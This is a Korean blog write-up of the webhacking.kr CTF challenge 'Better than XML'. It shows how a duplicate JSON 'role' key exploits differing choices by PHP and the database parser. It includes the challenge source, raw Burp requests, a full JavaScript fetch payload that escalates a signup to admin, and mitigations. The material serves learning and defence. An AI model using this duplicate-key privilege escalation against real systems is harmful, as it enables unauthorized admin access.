LACiA
Wargame/WebHacking.kr | 2026. 6. 20. 19:17

Webhacking.kr Better than XML 풀이

Better than XML — JSON Parser Differential Write-up
Webhacking.kr BETTER THAN XML JSON Key Collision Parser Differential Burp Suite
중복 JSON 키를 서로 다르게 해석하는 두 파서의 불일치

Better than XML

회원가입 단계에서는 PHP의 json_decode()가 마지막 role 값을 검사한다. 반면 로그인 단계의 데이터베이스 JSON 조회는 문제 환경에서 먼저 등장한 role 값을 사용한다. 따라서 admin을 먼저, guest를 나중에 배치하면 가입 검증은 통과하면서 로그인 세션에는 admin 권한이 저장된다.

better-than-xml.log
input role=admin, role=guest
PHP check last value → guest
join validation passed
DB lookup first value → admin
session role=admin
result solve(80)

1. 문제 개요

1 기본 정보

  • 플랫폼: webhacking.kr
  • 문제명: Better than XML
  • 유형: Web / JSON Parser Differential
  • 난이도: ★☆☆☆☆

2 목표

회원가입 JSON 본문에 동일한 role 키를 두 번 넣어 가입 검증에서는 guest로, 로그인 조회에서는 admin으로 해석되게 만든다.

https://webhacking.kr/challenge/new-17/
실습 범위 본 내용은 webhacking.kr의 의도된 CTF 환경과 본인이 소유하거나 명시적으로 허가받은 시스템에서만 실습한다.

2. 전체 기능 구조

페이지는 크게 로그아웃, 로그인 상태 확인, 회원가입, 로그인 네 가지 흐름으로 나뉜다.

회원가입, 로그인, 관리자 판정 로직이 포함된 전체 PHP 소스 코드.

기능 조건 처리 내용
로그아웃 page=logout 현재 세션을 삭제하고 메인 페이지로 이동
로그인 상태 확인 세션에 사용자 ID 존재 세션 role이 admin이면 solve(80) 실행
회원가입 page=join_ Raw POST Body를 JSON으로 검증한 뒤 원문 그대로 DB에 저장
로그인 page=login_ DB의 JSON 값에서 ID, PW, role을 추출해 세션 생성

3. 관리자 판정 로직

if ($_SESSION['better_than_xml_id']) {
    echo "Hello {$_SESSION['better_than_xml_id']}!<hr>";

    if ($_SESSION['better_than_xml_role'] === "admin") {
        mysqli_query($db, "DELETE FROM challn17");
        unset($_SESSION['better_than_xml_role']);
        unset($_SESSION['better_than_xml_id']);
        solve(80);
    }
}

로그인 이후 세션의 better_than_xml_role 값이 문자열 admin과 정확히 일치하면 문제가 해결된다. 따라서 최종 목표는 로그인 과정에서 DB가 role을 admin으로 반환하도록 만드는 것이다.

4. 회원가입 로직 분석

if ($_GET['page'] == "join_") {
    $userInput = file_get_contents("php://input");
    $json = json_decode($userInput, true);

    foreach ($json as $key => $value) {
        if (
            ($key !== "userid") &&
            ($key !== "userpw") &&
            ($key !== "role")
        ) {
            exit("invalid input");
        }

        if (gettype($value) != "string") {
            exit("no hack ~_~");
        }
    }

    if (strlen($json['userid']) < 5) exit("too short id");
    if (strlen($json['userpw']) < 5) exit("too short pw");
    if ($json['role'] !== "guest") exit("no hack ~_~");

    $stmt = $db->prepare("INSERT INTO challn17 values(?)");
    $stmt->bind_param("s", $userInput);
    $stmt->execute();

    echo "done";
    exit;
}

i 검증 조건

  • 허용되는 키는 userid, userpw, role뿐이다.
  • 모든 값은 문자열이어야 한다.
  • ID와 비밀번호는 각각 5자 이상이어야 한다.
  • PHP가 해석한 role 값은 반드시 guest여야 한다.
중요한 저장 방식 검증에 사용한 PHP 배열을 다시 JSON으로 인코딩해 저장하지 않는다. 서버는 사용자가 보낸 원본 문자열 $userInput을 그대로 DB에 저장한다. 따라서 PHP 배열에서는 사라진 중복 키가 원본 JSON 문자열에는 그대로 남는다.

5. 로그인 로직 분석

$query = "
    SELECT
        JSON_UNQUOTE(JSON_EXTRACT(data, '$.role')) AS role
    FROM challn17
    WHERE
        JSON_UNQUOTE(JSON_EXTRACT(data, '$.userid')) = ?
        AND
        JSON_UNQUOTE(JSON_EXTRACT(data, '$.userpw')) = ?
";

$stmt = $db->prepare($query);
$stmt->bind_param("ss", $_POST['uid'], $_POST['upw']);
$stmt->execute();

$result = $stmt->get_result()->fetch_assoc();

if ($result['role']) {
    $_SESSION['better_than_xml_id'] = $_POST['uid'];
    $_SESSION['better_than_xml_role'] = $result['role'];
}

로그인 시에는 원본 JSON 문자열을 다시 PHP로 파싱하지 않는다. 데이터베이스의 JSON_EXTRACT()userid, userpw, role 값을 직접 추출한다.

6. 취약점: Duplicate JSON Key

정상적인 회원가입 JSON은 다음과 같다.

{
  "userid": "student01",
  "userpw": "securepw01",
  "role": "guest"
}

공격에서는 role 키를 두 번 넣는다. 반드시 admin을 먼저, guest를 나중에 배치한다.

{
  "userid": "student01",
  "userpw": "securepw01",
  "role": "admin",
  "role": "guest"
}
처리 단계 선택되는 role 결과
PHP json_decode() 뒤에 있는 guest 회원가입 검증 통과
문제 DB의 JSON_EXTRACT() 앞에 있는 admin 로그인 세션에 admin 저장
Parser Differential 동일한 원본 데이터를 서로 다른 파서가 처리하면서 보안 검증 단계와 실제 사용 단계의 값이 달라진다. 이처럼 컴포넌트 간 해석 불일치를 이용하는 취약점을 Parser Differential 또는 Parser Inconsistency로 분류할 수 있다.

7. 공격 흐름

1
중복 role 작성
2
PHP는 guest 선택
3
가입 검증 통과
4
원문 JSON 저장
5
DB는 admin 선택
6
관리자 세션 생성
1. 회원가입 요청을 가로챈다.
2. Raw JSON 본문에 role 키를 두 번 작성한다.
3. 첫 번째 role은 admin, 두 번째 role은 guest로 지정한다.
4. PHP json_decode()는 마지막 guest를 사용해 검증을 통과한다.
5. 서버는 중복 키가 포함된 원본 JSON 문자열을 DB에 저장한다.
6. 로그인 요청을 보낸다.
7. DB JSON_EXTRACT()가 첫 번째 role인 admin을 반환한다.
8. 세션의 role이 admin으로 설정된다.
9. 메인 페이지에서 solve(80)이 실행된다.

8. Burp Suite로 회원가입 요청 수정하기

8.1 Proxy 설정

  1. Burp Suite를 실행하고 Proxy → Intercept로 이동한다.
  2. Intercept is on 상태인지 확인한다.
  3. Burp 내장 브라우저 또는 프록시가 설정된 브라우저로 문제 페이지에 접속한다.
  4. Join 페이지에서 5자 이상의 ID와 비밀번호를 입력한다.
  5. 회원가입 버튼을 눌러 요청을 Burp에서 가로챈다.
추천 방식 가로챈 요청에서 마우스 오른쪽 버튼을 누르고 Send to Repeater를 선택하면 본문을 여러 번 수정하고 응답을 비교하기 편하다.

8.2 Repeater에서 Raw Body 수정

요청 경로가 ?page=join_인지, Content-Type이 JSON인지 확인한 뒤 본문을 다음과 같이 바꾼다.

POST /challenge/new-17/?page=join_ HTTP/2
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/json

{
  "userid": "student01",
  "userpw": "securepw01",
  "role": "admin",
  "role": "guest"
}
  • useriduserpw는 각각 5자 이상으로 설정한다.
  • role":"admin"을 먼저 작성한다.
  • role":"guest"를 마지막에 작성한다.
  • Burp가 Content-Length를 자동으로 다시 계산하므로 일반적으로 직접 수정할 필요는 없다.
  • 요청을 전송했을 때 응답 본문이 done이면 가입에 성공한 것이다.
Content-Type 확인 서버는 php://input으로 Raw Body를 읽으므로 핵심은 본문 자체지만, 원래 Join JavaScript가 사용하던 application/json 헤더를 유지하는 편이 안전하다.

9. Burp Suite로 직접 요청 만들기

브라우저에서 요청을 가로채지 않고 Repeater에서 기존 요청을 복제해 직접 구성해도 된다. 로그인 세션을 유지하려면 현재 브라우저의 PHP 세션 쿠키를 함께 사용한다.

POST /challenge/new-17/?page=join_ HTTP/1.1
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/json
Connection: close

{"userid":"student01","userpw":"securepw01","role":"admin","role":"guest"}

Burp Repeater의 Raw 편집 화면에 요청을 넣고 Send를 누른다. 서버 응답이 done이면 다음 단계로 진행한다.

10. 로그인 요청

회원가입에 사용한 ID와 비밀번호로 일반 로그인 폼을 사용한다. 로그인 요청은 JSON이 아니라 Form URL Encoded 형식이다.

POST /challenge/new-17/?page=login_ HTTP/2
Host: webhacking.kr
Cookie: PHPSESSID=YOUR_SESSION_ID
Content-Type: application/x-www-form-urlencoded

uid=student01&upw=securepw01

로그인 쿼리에서 DB가 첫 번째 role 값인 admin을 반환하면, 세션의 better_than_xml_role에 admin이 저장된다. 이후 메인 페이지로 이동하면서 관리자 조건이 만족된다.

11. 최종 Payload

(async () => {
  const userid = `user${Date.now()}`;
  const userpw = `pass${Date.now()}`;

  // 중복 role 키를 유지하기 위해 객체가 아닌 원문 문자열 사용
  const rawBody =
    `{"userid":"${userid}","userpw":"${userpw}","role":"admin","role":"guest"}`;

  // 1. 회원가입
  const joinResponse = await fetch(
    "https://webhacking.kr/challenge/new-17/?page=join_",
    {
      method: "POST",
      credentials: "include",
      headers: {
        "Content-Type": "application/json"
      },
      body: rawBody
    }
  );

  const joinText = await joinResponse.text();

  console.log("[JOIN STATUS]", joinResponse.status);
  console.log("[JOIN RESULT]", joinText);
  console.log("[ACCOUNT]", userid, userpw);

  if (!joinText.includes("done")) {
    console.error("회원가입 실패. 응답:", joinText);
    return;
  }

  // 2. 로그인
  const loginResponse = await fetch(
    "https://webhacking.kr/challenge/new-17/?page=login_",
    {
      method: "POST",
      credentials: "include",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      body: new URLSearchParams({
        uid: userid,
        upw: userpw
      })
    }
  );

  const loginText = await loginResponse.text();

  console.log("[LOGIN STATUS]", loginResponse.status);
  console.log("[LOGIN RESULT]", loginText);

  // fetch는 응답 안의 <script>를 실행하지 않으므로 직접 메인 페이지 이동
  location.href = "https://webhacking.kr/challenge/new-17/";
})();

핵심 조건: admin이 먼저, guest가 마지막

12. 요청이 실패할 때 확인할 부분

응답 또는 증상 원인 확인 방법
too short id ID가 5자 미만 5자 이상의 새로운 ID 사용
too short pw 비밀번호가 5자 미만 5자 이상의 비밀번호 사용
no hack ~_~ 마지막 role이 guest가 아니거나 값 타입이 문자열이 아님 마지막에 정확히 "role":"guest" 배치
invalid input 허용되지 않은 추가 키 존재 userid, userpw, role만 사용
login failed.. ID/PW 불일치 또는 가입 요청 실패 Join 응답이 done인지 확인하고 동일한 자격 증명 사용
guest로 로그인됨 role 순서가 반대이거나 중복 키가 제거됨 Raw Body에서 admin → guest 순서를 확인

13. 취약점 분류

분류 설명
Duplicate JSON Key 하나의 JSON 객체에 동일한 이름의 키를 두 번 삽입
Parser Differential PHP와 DB JSON 파서가 중복 키를 서로 다르게 선택
Validation / Use Inconsistency 검증에 사용한 값과 로그인에서 사용하는 값이 달라짐
Privilege Escalation guest 가입 검증을 통과하면서 admin 세션 획득

14. 대응 방안

  • JSON 파싱 전에 중복 키가 존재하는 요청을 거부한다.
  • 검증한 PHP 배열을 다시 직렬화해 저장하고 원본 Raw Body를 그대로 보관하지 않는다.
  • role처럼 권한과 관련된 필드는 클라이언트 입력으로 받지 않는다.
  • 회원가입 시 서버가 role을 강제로 guest로 지정한다.
  • JSON 문서 전체를 한 컬럼에 저장하기보다 ID, 비밀번호 해시, 권한을 명시적인 DB 컬럼으로 분리한다.
  • 검증과 사용 단계에서 동일한 파서와 동일한 데이터 표현을 사용한다.
  • 비밀번호는 평문 JSON으로 저장하지 않고 안전한 비밀번호 해시 함수로 처리한다.
// 안전한 방향의 예시
$decoded = json_decode($userInput, true, 512, JSON_THROW_ON_ERROR);

$userid = $decoded['userid'] ?? '';
$userpw = $decoded['userpw'] ?? '';

if (strlen($userid) < 5 || strlen($userpw) < 5) {
    exit('invalid input');
}

// role은 사용자 요청에서 가져오지 않는다.
$role = 'guest';

// 명시적인 컬럼과 비밀번호 해시 사용
$passwordHash = password_hash($userpw, PASSWORD_DEFAULT);

마무리

Better than XML의 핵심은 중복 JSON 키 자체보다 동일한 JSON 문자열을 PHP와 데이터베이스가 서로 다르게 해석한다는 점이다. PHP 검증에서는 마지막 role인 guest가 사용되지만, 로그인 조회에서는 첫 번째 role인 admin이 사용된다. 보안 검증과 실제 데이터 사용이 서로 다른 파서에 의존하면 각 파서가 동일한 입력을 완전히 같은 방식으로 해석하는지 반드시 확인해야 한다.

'Wargame > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr Old-44 Revenge  (0) 2026.06.20
webhacking.kr Old-25 RevengE  (0) 2026.06.20
webhacking.kr child toctou  (0) 2026.06.20
webhacking.kr CHILD 풀이  (0) 2026.06.20
Webhacking.kr baby toctou 풀이  (0) 2026.06.20
LACiA

LACiA

Writer

Reishia 님의 블로그 입니다.